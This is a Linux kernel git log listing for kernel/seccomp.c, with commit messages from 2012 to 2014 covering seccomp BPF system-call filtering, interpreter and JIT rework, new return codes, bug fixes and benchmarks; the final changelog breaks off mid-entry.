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* Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-nextLinus Torvalds2014-06-121-51/+59
|\ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Pull networking updates from David Miller: 1) Seccomp BPF filters can now be JIT'd, from Alexei Starovoitov. 2) Multiqueue support in xen-netback and xen-netfront, from Andrew J Benniston. 3) Allow tweaking of aggregation settings in cdc_ncm driver, from Bjørn Mork. 4) BPF now has a "random" opcode, from Chema Gonzalez. 5) Add more BPF documentation and improve test framework, from Daniel Borkmann. 6) Support TCP fastopen over ipv6, from Daniel Lee. 7) Add software TSO helper functions and use them to support software TSO in mvneta and mv643xx_eth drivers. From Ezequiel Garcia. 8) Support software TSO in fec driver too, from Nimrod Andy. 9) Add Broadcom SYSTEMPORT driver, from Florian Fainelli. 10) Handle broadcasts more gracefully over macvlan when there are large numbers of interfaces configured, from Herbert Xu. 11) Allow more control over fwmark used for non-socket based responses, from Lorenzo Colitti. 12) Do TCP congestion window limiting based upon measurements, from Neal Cardwell. 13) Support busy polling in SCTP, from Neal Horman. 14) Allow RSS key to be configured via ethtool, from Venkata Duvvuru. 15) Bridge promisc mode handling improvements from Vlad Yasevich. 16) Don't use inetpeer entries to implement ID generation any more, it performs poorly, from Eric Dumazet. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next: (1522 commits) rtnetlink: fix userspace API breakage for iproute2 < v3.9.0 tcp: fixing TLP's FIN recovery net: fec: Add software TSO support net: fec: Add Scatter/gather support net: fec: Increase buffer descriptor entry number net: fec: Factorize feature setting net: fec: Enable IP header hardware checksum net: fec: Factorize the .xmit transmit function bridge: fix compile error when compiling without IPv6 support bridge: fix smatch warning / potential null pointer dereference via-rhine: fix full-duplex with autoneg disable bnx2x: Enlarge the dorq threshold for VFs bnx2x: Check for UNDI in uncommon branch bnx2x: Fix 1G-baseT link bnx2x: Fix link for KR with swapped polarity lane sctp: Fix sk_ack_backlog wrap-around problem net/core: Add VF link state control policy net/fsl: xgmac_mdio is dependent on OF_MDIO net/fsl: Make xgmac_mdio read error message useful net_sched: drr: warn when qdisc is not work conserving ...
| * net: filter: get rid of BPF_S_* enumDaniel Borkmann2014-06-011-42/+41
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch finally allows us to get rid of the BPF_S_* enum. Currently, the code performs unnecessary encode and decode workarounds in seccomp and filter migration itself when a filter is being attached in order to overcome BPF_S_* encoding which is not used anymore by the new interpreter resp. JIT compilers. Keeping it around would mean that also in future we would need to extend and maintain this enum and related encoders/decoders. We can get rid of all that and save us these operations during filter attaching. Naturally, also JIT compilers need to be updated by this. Before JIT conversion is being done, each compiler checks if A is being loaded at startup to obtain information if it needs to emit instructions to clear A first. Since BPF extensions are a subset of BPF_LD | BPF_{W,H,B} | BPF_ABS variants, case statements for extensions can be removed at that point. To ease and minimalize code changes in the classic JITs, we have introduced bpf_anc_helper(). Tested with test_bpf on x86_64 (JIT, int), s390x (JIT, int), arm (JIT, int), i368 (int), ppc64 (JIT, int); for sparc we unfortunately didn't have access, but changes are analogous to the rest. Joint work with Alexei Starovoitov. Signed-off-by: Daniel Borkmann <dborkman@redhat.com> Signed-off-by: Alexei Starovoitov <ast@plumgrid.com> Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org> Cc: Martin Schwidefsky <schwidefsky@de.ibm.com> Cc: Mircea Gherzan <mgherzan@gmail.com> Cc: Kees Cook <keescook@chromium.org> Acked-by: Chema Gonzalez <chemag@gmail.com> Signed-off-by: David S. Miller <davem@davemloft.net>
| * net: filter: cleanup invocation of internal BPFAlexei Starovoitov2014-05-211-4/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Kernel API for classic BPF socket filters is: sk_unattached_filter_create() - validate classic BPF, convert, JIT SK_RUN_FILTER() - run it sk_unattached_filter_destroy() - destroy socket filter Cleanup internal BPF kernel API as following: sk_filter_select_runtime() - final step of internal BPF creation. Try to JIT internal BPF program, if JIT is not available select interpreter SK_RUN_FILTER() - run it sk_filter_free() - free internal BPF program Disallow direct calls to BPF interpreter. Execution of the BPF program should be done with SK_RUN_FILTER() macro. Example of internal BPF create, run, destroy: struct sk_filter *fp; fp = kzalloc(sk_filter_size(prog_len), GFP_KERNEL); memcpy(fp->insni, prog, prog_len * sizeof(fp->insni[0])); fp->len = prog_len; sk_filter_select_runtime(fp); SK_RUN_FILTER(fp, ctx); sk_filter_free(fp); Sockets, seccomp, testsuite, tracing are using different ways to populate sk_filter, so first steps of program creation are not common. Signed-off-by: Alexei Starovoitov <ast@plumgrid.com> Acked-by: Daniel Borkmann <dborkman@redhat.com> Signed-off-by: David S. Miller <davem@davemloft.net>
| * seccomp: JIT compile seccomp filterAlexei Starovoitov2014-05-151-9/+20
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Take advantage of internal BPF JIT 05-sim-long_jumps.c of libseccomp was used as micro-benchmark: seccomp_rule_add_exact(ctx,... seccomp_rule_add_exact(ctx,... rc = seccomp_load(ctx); for (i = 0; i < 10000000; i++) syscall(...); $ sudo sysctl net.core.bpf_jit_enable=1 $ time ./bench real 0m2.769s user 0m1.136s sys 0m1.624s $ sudo sysctl net.core.bpf_jit_enable=0 $ time ./bench real 0m5.825s user 0m1.268s sys 0m4.548s Signed-off-by: Alexei Starovoitov <ast@plumgrid.com> Signed-off-by: David S. Miller <davem@davemloft.net>
* | kernel/seccomp.c: kernel-doc warning fixFabian Frederick2014-06-061-2/+2
|/ | | | | | | | | + fix small typo Signed-off-by: Fabian Frederick <fabf@skynet.be> Cc: "David S. Miller" <davem@davemloft.net> Signed-off-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* seccomp: fix memory leak on filter attachKees Cook2014-04-161-0/+2
| | | | | | | | | | | | | | | | | | | | | | | | This sets the correct error code when final filter memory is unavailable, and frees the raw filter no matter what. unreferenced object 0xffff8800d6ea4000 (size 512): comm "sshd", pid 278, jiffies 4294898315 (age 46.653s) hex dump (first 32 bytes): 21 00 00 00 04 00 00 00 15 00 01 00 3e 00 00 c0 !...........>... 06 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 ........!....... backtrace: [<ffffffff8151414e>] kmemleak_alloc+0x4e/0xb0 [<ffffffff811a3a40>] __kmalloc+0x280/0x320 [<ffffffff8110842e>] prctl_set_seccomp+0x11e/0x3b0 [<ffffffff8107bb6b>] SyS_prctl+0x3bb/0x4a0 [<ffffffff8152ef2d>] system_call_fastpath+0x1a/0x1f [<ffffffffffffffff>] 0xffffffffffffffff Reported-by: Masami Ichikawa <masami256@gmail.com> Signed-off-by: Kees Cook <keescook@chromium.org> Tested-by: Masami Ichikawa <masami256@gmail.com> Acked-by: Daniel Borkmann <dborkman@redhat.com> Signed-off-by: David S. Miller <davem@davemloft.net>
* seccomp: fix populating a0-a5 syscall args in 32-bit x86 BPFDaniel Borkmann2014-04-141-9/+8
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Linus reports that on 32-bit x86 Chromium throws the following seccomp resp. audit log messages: audit: type=1326 audit(1397359304.356:28108): auid=500 uid=500 gid=500 ses=2 subj=unconfined_u:unconfined_r:chrome_sandbox_t:s0-s0:c0.c1023 pid=3677 comm="chrome" exe="/opt/google/chrome/chrome" sig=0 syscall=172 compat=0 ip=0xb2dd9852 code=0x30000 audit: type=1326 audit(1397359304.356:28109): auid=500 uid=500 gid=500 ses=2 subj=unconfined_u:unconfined_r:chrome_sandbox_t:s0-s0:c0.c1023 pid=3677 comm="chrome" exe="/opt/google/chrome/chrome" sig=0 syscall=5 compat=0 ip=0xb2dd9852 code=0x50000 These audit messages are being triggered via audit_seccomp() through __secure_computing() in seccomp mode (BPF) filter with seccomp return codes 0x30000 (== SECCOMP_RET_TRAP) and 0x50000 (== SECCOMP_RET_ERRNO) during filter runtime. Moreover, Linus reports that x86_64 Chromium seems fine. The underlying issue that explains this is that the implementation of populate_seccomp_data() is wrong. Our seccomp data structure sd that is being shared with user ABI is: struct seccomp_data { int nr; __u32 arch; __u64 instruction_pointer; __u64 args[6]; }; Therefore, a simple cast to 'unsigned long *' for storing the value of the syscall argument via syscall_get_arguments() is just wrong as on 32-bit x86 (or any other 32bit arch), it would result in storing a0-a5 at wrong offsets in args[] member, and thus i) could leak stack memory to user space and ii) tampers with the logic of seccomp BPF programs that read out and check for syscall arguments: syscall_get_arguments(task, regs, 0, 1, (unsigned long *) &sd->args[0]); Tested on 32-bit x86 with Google Chrome, unfortunately only via remote test machine through slow ssh X forwarding, but it fixes the issue on my side. So fix it up by storing args in type correct variables, gcc is clever and optimizes the copy away in other cases, e.g. x86_64. Fixes: bd4cf0ed331a ("net: filter: rework/optimize internal BPF interpreter's instruction set") Reported-and-bisected-by: Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by: Daniel Borkmann <dborkman@redhat.com> Signed-off-by: Alexei Starovoitov <ast@plumgrid.com> Cc: Linus Torvalds <torvalds@linux-foundation.org> Cc: Eric Paris <eparis@redhat.com> Cc: James Morris <james.l.morris@oracle.com> Cc: Kees Cook <keescook@chromium.org> Signed-off-by: David S. Miller <davem@davemloft.net>
* Merge git://git.infradead.org/users/eparis/auditLinus Torvalds2014-04-121-2/+2
|\ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Pull audit updates from Eric Paris. * git://git.infradead.org/users/eparis/audit: (28 commits) AUDIT: make audit_is_compat depend on CONFIG_AUDIT_COMPAT_GENERIC audit: renumber AUDIT_FEATURE_CHANGE into the 1300 range audit: do not cast audit_rule_data pointers pointlesly AUDIT: Allow login in non-init namespaces audit: define audit_is_compat in kernel internal header kernel: Use RCU_INIT_POINTER(x, NULL) in audit.c sched: declare pid_alive as inline audit: use uapi/linux/audit.h for AUDIT_ARCH declarations syscall_get_arch: remove useless function arguments audit: remove stray newline from audit_log_execve_info() audit_panic() call audit: remove stray newlines from audit_log_lost messages audit: include subject in login records audit: remove superfluous new- prefix in AUDIT_LOGIN messages audit: allow user processes to log from another PID namespace audit: anchor all pid references in the initial pid namespace audit: convert PPIDs to the inital PID namespace. pid: get pid_t ppid of task in init_pid_ns audit: rename the misleading audit_get_context() to audit_take_context() audit: Add generic compat syscall support audit: Add CONFIG_HAVE_ARCH_AUDITSYSCALL ...
| * syscall_get_arch: remove useless function argumentsEric Paris2014-03-201-2/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Every caller of syscall_get_arch() uses current for the task and no implementors of the function need args. So just get rid of both of those things. Admittedly, since these are inline functions we aren't wasting stack space, but it just makes the prototypes better. Signed-off-by: Eric Paris <eparis@redhat.com> Cc: linux-arm-kernel@lists.infradead.org Cc: linux-mips@linux-mips.org Cc: linux390@de.ibm.com Cc: x86@kernel.org Cc: linux-kernel@vger.kernel.org Cc: linux-s390@vger.kernel.org Cc: linux-arch@vger.kernel.org
* | Merge branch 'for-linus' of ↵Linus Torvalds2014-04-031-1/+1
|\ \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security Pull security subsystem updates from James Morris: "Apart from reordering the SELinux mmap code to ensure DAC is called before MAC, these are minor maintenance updates" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/linux-security: (23 commits) selinux: correctly label /proc inodes in use before the policy is loaded selinux: put the mmap() DAC controls before the MAC controls selinux: fix the output of ./scripts/get_maintainer.pl for SELinux evm: enable key retention service automatically ima: skip memory allocation for empty files evm: EVM does not use MD5 ima: return d_name.name if d_path fails integrity: fix checkpatch errors ima: fix erroneous removal of security.ima xattr security: integrity: Use a more current logging style MAINTAINERS: email updates and other misc. changes ima: reduce memory usage when a template containing the n field is used ima: restore the original behavior for sending data with ima template Integrity: Pass commname via get_task_comm() fs: move i_readcount ima: use static const char array definitions security: have cap_dentry_init_security return error ima: new helper: file_inode(file) kernel: Mark function as static in kernel/seccomp.c capability: Use current logging styles ...
| * | kernel: Mark function as static in kernel/seccomp.cRashika Kheria2014-02-281-1/+1
| |/ | | | | | | | | | | | | | | | | | | | | | | | | | | Mark function as static in kernel/seccomp.c because it is not used outside this file. This eliminates the following warning in kernel/seccomp.c: kernel/seccomp.c:296:6: warning: no previous prototype for ?seccomp_attach_user_filter? [-Wmissing-prototypes] Signed-off-by: Rashika Kheria <rashika.kheria@gmail.com> Reviewed-by: Josh Triplett <josh@joshtriplett.org> Acked-by: Kees Cook <keescook@chromium.org> Acked-by: Will Drewry <wad@chromium.org> Signed-off-by: James Morris <james.l.morris@oracle.com>
* | net: filter: rework/optimize internal BPF interpreter's instruction setAlexei Starovoitov2014-03-311-61/+58
|/ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This patch replaces/reworks the kernel-internal BPF interpreter with an optimized BPF instruction set format that is modelled closer to mimic native instruction sets and is designed to be JITed with one to one mapping. Thus, the new interpreter is noticeably faster than the current implementation of sk_run_filter(); mainly for two reasons: 1. Fall-through jumps: BPF jump instructions are forced to go either 'true' or 'false' branch which causes branch-miss penalty. The new BPF jump instructions have only one branch and fall-through otherwise, which fits the CPU branch predictor logic better. `perf stat` shows drastic difference for branch-misses between the old and new code. 2. Jump-threaded implementation of interpreter vs switch statement: Instead of single table-jump at the top of 'switch' statement, gcc will now generate multiple table-jump instructions, which helps CPU branch predictor logic. Note that the verification of filters is still being done through sk_chk_filter() in classical BPF format, so filters from user- or kernel space are verified in the same way as we do now, and same restrictions/constraints hold as well. We reuse current BPF JIT compilers in a way that this upgrade would even be fine as is, but nevertheless allows for a successive upgrade of BPF JIT compilers to the new format. The internal instruction set migration is being done after the probing for JIT compilation, so in case JIT compilers are able to create a native opcode image, we're going to use that, and in all other cases we're doing a follow-up migration of the BPF program's instruction set, so that it can be transparently run in the new interpreter. In short, the *internal* format extends BPF in the following way (more details can be taken from the appended documentation): - Number of registers increase from 2 to 10 - Register width increases from 32-bit to 64-bit - Conditional jt/jf targets replaced with jt/fall-through - Adds signed > and >= insns - 16 4-byte stack slots for register spill-fill replaced with up to 512 bytes of multi-use stack space - Introduction of bpf_call insn and register passing convention for zero overhead calls from/to other kernel functions - Adds arithmetic right shift and endianness conversion insns - Adds atomic_add insn - Old tax/txa insns are replaced with 'mov dst,src' insn Performance of two BPF filters generated by libpcap resp. bpf_asm was measured on x86_64, i386 and arm32 (other libpcap programs have similar performance differences): fprog #1 is taken from Documentation/networking/filter.txt: tcpdump -i eth0 port 22 -dd fprog #2 is taken from 'man tcpdump': tcpdump -i eth0 'tcp port 22 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' -dd Raw performance data from BPF micro-benchmark: SK_RUN_FILTER on the same SKB (cache-hit) or 10k SKBs (cache-miss); time in ns per call, smaller is better: --x86_64-- fprog #1 fprog #1 fprog #2 fprog #2 cache-hit cache-miss cache-hit cache-miss old BPF 90 101 192 202 new BPF 31 71 47 97 old BPF jit 12 34 17 44 new BPF jit TBD --i386-- fprog #1 fprog #1 fprog #2 fprog #2 cache-hit cache-miss cache-hit cache-miss old BPF 107 136 227 252 new BPF 40 119 69 172 --arm32-- fprog #1 fprog #1 fprog #2 fprog #2 cache-hit cache-miss cache-hit cache-miss old BPF 202 300 475 540 new BPF 180 270 330 470 old BPF jit 26 182 37 202 new BPF jit TBD Thus, without changing any userland BPF filters, applications on top of AF_PACKET (or other families) such as libpcap/tcpdump, cls_bpf classifier, netfilter's xt_bpf, team driver's load-balancing mode, and many more will have better interpreter filtering performance. While we are replacing the internal BPF interpreter, we also need to convert seccomp BPF in the same step to make use of the new internal structure since it makes use of lower-level API details without being further decoupled through higher-level calls like sk_unattached_filter_{create,destroy}(), for example. Just as for normal socket filtering, also seccomp BPF experiences a time-to-verdict speedup: 05-sim-long_jumps.c of libseccomp was used as micro-benchmark: seccomp_rule_add_exact(ctx,... seccomp_rule_add_exact(ctx,... rc = seccomp_load(ctx); for (i = 0; i < 10000000; i++) syscall(199, 100); 'short filter' has 2 rules 'large filter' has 200 rules 'short filter' performance is slightly better on x86_64/i386/arm32 'large filter' is much faster on x86_64 and i386 and shows no difference on arm32 --x86_64-- short filter old BPF: 2.7 sec 39.12% bench libc-2.15.so [.] syscall 8.10% bench [kernel.kallsyms] [k] sk_run_filter 6.31% bench [kernel.kallsyms] [k] system_call 5.59% bench [kernel.kallsyms] [k] trace_hardirqs_on_caller 4.37% bench [kernel.kallsyms] [k] trace_hardirqs_off_caller 3.70% bench [kernel.kallsyms] [k] __secure_computing 3.67% bench [kernel.kallsyms] [k] lock_is_held 3.03% bench [kernel.kallsyms] [k] seccomp_bpf_load new BPF: 2.58 sec 42.05% bench libc-2.15.so [.] syscall 6.91% bench [kernel.kallsyms] [k] system_call 6.25% bench [kernel.kallsyms] [k] trace_hardirqs_on_caller 6.07% bench [kernel.kallsyms] [k] __secure_computing 5.08% bench [kernel.kallsyms] [k] sk_run_filter_int_seccomp --arm32-- short filter old BPF: 4.0 sec 39.92% bench [kernel.kallsyms] [k] vector_swi 16.60% bench [kernel.kallsyms] [k] sk_run_filter 14.66% bench libc-2.17.so [.] syscall 5.42% bench [kernel.kallsyms] [k] seccomp_bpf_load 5.10% bench [kernel.kallsyms] [k] __secure_computing new BPF: 3.7 sec 35.93% bench [kernel.kallsyms] [k] vector_swi 21.89% bench libc-2.17.so [.] syscall 13.45% bench [kernel.kallsyms] [k] sk_run_filter_int_seccomp 6.25% bench [kernel.kallsyms] [k] __secure_computing 3.96% bench [kernel.kallsyms] [k] syscall_trace_exit --x86_64-- large filter old BPF: 8.6 seconds 73.38% bench [kernel.kallsyms] [k] sk_run_filter 10.70% bench libc-2.15.so [.] syscall 5.09% bench [kernel.kallsyms] [k] seccomp_bpf_load 1.97% bench [kernel.kallsyms] [k] system_call new BPF: 5.7 seconds 66.20% bench [kernel.kallsyms] [k] sk_run_filter_int_seccomp 16.75% bench libc-2.15.so [.] syscall 3.31% bench [kernel.kallsyms] [k] system_call 2.88% bench [kernel.kallsyms] [k] __secure_computing --i386-- large filter old BPF: 5.4 sec new BPF: 3.8 sec --arm32-- large filter old BPF: 13.5 sec 73.88% bench [kernel.kallsyms] [k] sk_run_filter 10.29% bench [kernel.kallsyms] [k] vector_swi 6.46% bench libc-2.17.so [.] syscall 2.94% bench [kernel.kallsyms] [k] seccomp_bpf_load 1.19% bench [kernel.kallsyms] [k] __secure_computing 0.87% bench [kernel.kallsyms] [k] sys_getuid new BPF: 13.5 sec 76.08% bench [kernel.kallsyms] [k] sk_run_filter_int_seccomp 10.98% bench [kernel.kallsyms] [k] vector_swi 5.87% bench libc-2.17.so [.] syscall 1.77% bench [kernel.kallsyms] [k] __secure_computing 0.93% bench [kernel.kallsyms] [k] sys_getuid BPF filters generated by seccomp are very branchy, so the new internal BPF performance is better than the old one. Performance gains will be even higher when BPF JIT is committed for the new structure, which is planned in future work (as successive JIT migrations). BPF has also been stress-tested with trinity's BPF fuzzer. Joint work with Daniel Borkmann. Signed-off-by: Alexei Starovoitov <ast@plumgrid.com> Signed-off-by: Daniel Borkmann <dborkman@redhat.com> Cc: Hagen Paul Pfeifer <hagen@jauu.net> Cc: Kees Cook <keescook@chromium.org> Cc: Paul Moore <pmoore@redhat.com> Cc: Ingo Molnar <mingo@kernel.org> Cc: H. Peter Anvin <hpa@linux.intel.com> Cc: linux-kernel@vger.kernel.org Acked-by: Kees Cook <keescook@chromium.org> Signed-off-by: David S. Miller <davem@davemloft.net>
* seccomp: allow BPF_XOR based ALU instructions.Nicolas Schichan2013-03-261-0/+2
| | | | | | | | | Allow BPF_XOR based ALU instructions. Signed-off-by: Nicolas Schichan <nschichan@freebox.fr> Acked-by: Kees Cook <keescook@chromium.org> Acked-by: Will Drewry <wad@chromium.org> Signed-off-by: James Morris <james.l.morris@oracle.com>
* seccomp: Make syscall skipping and nr changes more consistentAndy Lutomirski2012-10-021-3/+10
| | | | | | | | | | | | | | | | | | | This fixes two issues that could cause incompatibility between kernel versions: - If a tracer uses SECCOMP_RET_TRACE to select a syscall number higher than the largest known syscall, emulate the unknown vsyscall by returning -ENOSYS. (This is unlikely to make a noticeable difference on x86-64 due to the way the system call entry works.) - On x86-64 with vsyscall=emulate, skipped vsyscalls were buggy. This updates the documentation accordingly. Signed-off-by: Andy Lutomirski <luto@amacapital.net> Acked-by: Will Drewry <wad@chromium.org> Signed-off-by: James Morris <james.l.morris@oracle.com>
* seccomp: fix build warnings when there is no CONFIG_SECCOMP_FILTERWill Drewry2012-04-181-4/+9
| | | | | | | | | | | | | | | If both audit and seccomp filter support are disabled, 'ret' is marked as unused. If just seccomp filter support is disabled, data and skip are considered unused. This change fixes those build warnings. Reported-by: Stephen Rothwell <sfr@canb.auug.org.au> Signed-off-by: Will Drewry <wad@chromium.org> Acked-by: Kees Cook <keescook@chromium.org> Signed-off-by: James Morris <james.l.morris@oracle.com>
* ptrace,seccomp: Add PTRACE_SECCOMP supportWill Drewry2012-04-141-0/+16
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This change adds support for a new ptrace option, PTRACE_O_TRACESECCOMP, and a new return value for seccomp BPF programs, SECCOMP_RET_TRACE. When a tracer specifies the PTRACE_O_TRACESECCOMP ptrace option, the tracer will be notified, via PTRACE_EVENT_SECCOMP, for any syscall that results in a BPF program returning SECCOMP_RET_TRACE. The 16-bit SECCOMP_RET_DATA mask of the BPF program return value will be passed as the ptrace_message and may be retrieved using PTRACE_GETEVENTMSG. If the subordinate process is not using seccomp filter, then no system call notifications will occur even if the option is specified. If there is no tracer with PTRACE_O_TRACESECCOMP when SECCOMP_RET_TRACE is returned, the system call will not be executed and an -ENOSYS errno will be returned to userspace. This change adds a dependency on the system call slow path. Any future efforts to use the system call fast path for seccomp filter will need to address this restriction. Signed-off-by: Will Drewry <wad@chromium.org> Acked-by: Eric Paris <eparis@redhat.com> v18: - rebase - comment fatal_signal check - acked-by - drop secure_computing_int comment v17: - ... v16: - update PT_TRACE_MASK to 0xbf4 so that STOP isn't clear on SETOPTIONS call (indan@nul.nu) [note PT_TRACE_MASK disappears in linux-next] v15: - add audit support for non-zero return codes - clean up style (indan@nul.nu) v14: - rebase/nochanges v13: - rebase on to 88ebdda6159ffc15699f204c33feb3e431bf9bdc (Brings back a change to ptrace.c and the masks.) v12: - rebase to linux-next - use ptrace_event and update arch/Kconfig to mention slow-path dependency - drop all tracehook changes and inclusion (oleg@redhat.com) v11: - invert the logic to just make it a PTRACE_SYSCALL accelerator (indan@nul.nu) v10: - moved to PTRACE_O_SECCOMP / PT_TRACE_SECCOMP v9: - n/a v8: - guarded PTRACE_SECCOMP use with an ifdef v7: - introduced Signed-off-by: James Morris <james.l.morris@oracle.com>
* seccomp: Add SECCOMP_RET_TRAPWill Drewry2012-04-141-0/+26
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | Adds a new return value to seccomp filters that triggers a SIGSYS to be delivered with the new SYS_SECCOMP si_code. This allows in-process system call emulation, including just specifying an errno or cleanly dumping core, rather than just dying. Suggested-by: Markus Gutschke <markus@chromium.org> Suggested-by: Julien Tinnes <jln@chromium.org> Signed-off-by: Will Drewry <wad@chromium.org> Acked-by: Eric Paris <eparis@redhat.com> v18: - acked-by, rebase - don't mention secure_computing_int() anymore v15: - use audit_seccomp/skip - pad out error spacing; clean up switch (indan@nul.nu) v14: - n/a v13: - rebase on to 88ebdda6159ffc15699f204c33feb3e431bf9bdc v12: - rebase on to linux-next v11: - clarify the comment (indan@nul.nu) - s/sigtrap/sigsys v10: - use SIGSYS, syscall_get_arch, updates arch/Kconfig note suggested-by (though original suggestion had other behaviors) v9: - changes to SIGILL v8: - clean up based on changes to dependent patches v7: - introduction Signed-off-by: James Morris <james.l.morris@oracle.com>
* seccomp: add SECCOMP_RET_ERRNOWill Drewry2012-04-141-10/+32
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | This change adds the SECCOMP_RET_ERRNO as a valid return value from a seccomp filter. Additionally, it makes the first use of the lower 16-bits for storing a filter-supplied errno. 16-bits is more than enough for the errno-base.h calls. Returning errors instead of immediately terminating processes that violate seccomp policy allow for broader use of this functionality for kernel attack surface reduction. For example, a linux container could maintain a whitelist of pre-existing system calls but drop all new ones with errnos. This would keep a logically static attack surface while providing errnos that may allow for graceful failure without the downside of do_exit() on a bad call. This change also changes the signature of __secure_computing. It appears the only direct caller is the arm entry code and it clobbers any possible return value (register) immediately. Signed-off-by: Will Drewry <wad@chromium.org> Acked-by: Serge Hallyn <serge.hallyn@canonical.com> Reviewed-by: Kees Cook <keescook@chromium.org> Acked-by: Eric Paris <eparis@redhat.com> v18: - fix up comments and rebase - fix bad var name which was fixed in later revs - remove _int() and just change the __secure_computing signature v16-v17: ... v15: - use audit_seccomp and add a skip label. (eparis@redhat.com) - clean up and pad out return codes (indan@nul.nu) v14: - no change/rebase v13: - rebase on to 88ebdda6159ffc15699f204c33feb3e431bf9bdc v12: - move to WARN_ON if filter is NULL (oleg@redhat.com, luto@mit.edu, keescook@chromium.org) - return immediately for filter==NULL (keescook@chromium.org) - change evaluation to only compare the ACTION so that layered errnos don't result in the lowest one being returned. (keeschook@chromium.org) v11: - check for NULL filter (keescook@chromium.org) v10: - change loaders to fn v9: - n/a v8: - update Kconfig to note new need for syscall_set_return_value. - reordered such that TRAP behavior follows on later. - made the for loop a little less indent-y v7: - introduced Signed-off-by: James Morris <james.l.morris@oracle.com>
* seccomp: remove duplicated failure loggingKees Cook2012-04-141-14/+1
| | | | | | | | | | | | | | | This consolidates the seccomp filter error logging path and adds more details to the audit log. Signed-off-by: Will Drewry <wad@chromium.org> Signed-off-by: Kees Cook <keescook@chromium.org> Acked-by: Eric Paris <eparis@redhat.com> v18: make compat= permanent in the record v15: added a return code to the audit_seccomp path by wad@chromium.org (suggested by eparis@redhat.com) v*: original by keescook@chromium.org Signed-off-by: James Morris <james.l.morris@oracle.com>
* seccomp: add system call filtering using BPFWill Drewry2012-04-141-18/+378
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | [This patch depends on luto@mit.edu's no_new_privs patch: https://lkml.org/lkml/2012/1/30/264 The whole series including Andrew's patches can be found here: https://github.com/redpig/linux/tree/seccomp Complete diff here: https://github.com/redpig/linux/compare/1dc65fed...seccomp ] This patch adds support for seccomp mode 2. Mode 2 introduces the ability for unprivileged processes to install system call filtering policy expressed in terms of a Berkeley Packet Filter (BPF) program. This program will be evaluated in the kernel for each system call the task makes and computes a result based on data in the format of struct seccomp_data. A filter program may be installed by calling: struct sock_fprog fprog = { ... }; ... prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog); The return value of the filter program determines if the system call is allowed to proceed or denied. If the first filter program installed allows prctl(2) calls, then the above call may be made repeatedly by a task to further reduce its access to the kernel. All attached programs must be evaluated before a system call will be allowed to proceed. Filter programs will be inherited across fork/clone and execve. However, if the task attaching the filter is unprivileged (!CAP_SYS_ADMIN) the no_new_privs bit will be set on the task. This ensures that unprivileged tasks cannot attach filters that affect privileged tasks (e.g., setuid binary). There are a number of benefits to this approach. A few of which are as follows: - BPF has been exposed to userland for a long time - BPF optimization (and JIT'ing) are well understood - Userland already knows its ABI: system call numbers and desired arguments - No time-of-check-time-of-use vulnerable data accesses are possible. - system call arguments are loaded on access only to minimize copying required for system call policy decisions. Mode 2 support is restricted to architectures that enable HAVE_ARCH_SECCOMP_FILTER. In this patch, the primary dependency is on syscall_get_arguments(). The full desired scope of this feature will add a few minor additional requirements expressed later in this series. Based on discussion, SECCOMP_RET_ERRNO and SECCOMP_RET_TRACE seem to be the desired additional functionality. No architectures are enabled in this patch. Signed-off-by: Will Drewry <wad@chromium.org> Acked-by: Serge Hallyn <serge.hallyn@canonical.com> Reviewed-by: Indan Zupancic <indan@nul.nu> Acked-by: Eric Paris <eparis@redhat.com> Reviewed-by: Kees Cook <keescook@chromium.org> v18: - rebase to v3.4-rc2 - s/chk/check/ (akpm@linux-foundation.org,jmorris@namei.org) - allocate with GFP_KERNEL|__GFP_NOWARN (indan@nul.nu) - add a comment for get_u32 regarding endianness (akpm@) - fix other typos, style mistakes (akpm@) - added acked-by v17: - properly guard seccomp filter needed headers (leann@ubuntu.com) - tighten return mask to 0x7fff0000 v16: - no change v15: - add a 4 instr penalty when counting a path to account for seccomp_filter size (indan@nul.nu) - drop the max insns to 256KB (indan@nul.nu) - return ENOMEM if the max insns limit has been hit (indan@nul.nu) - move IP checks after args (indan@nul.nu) - drop 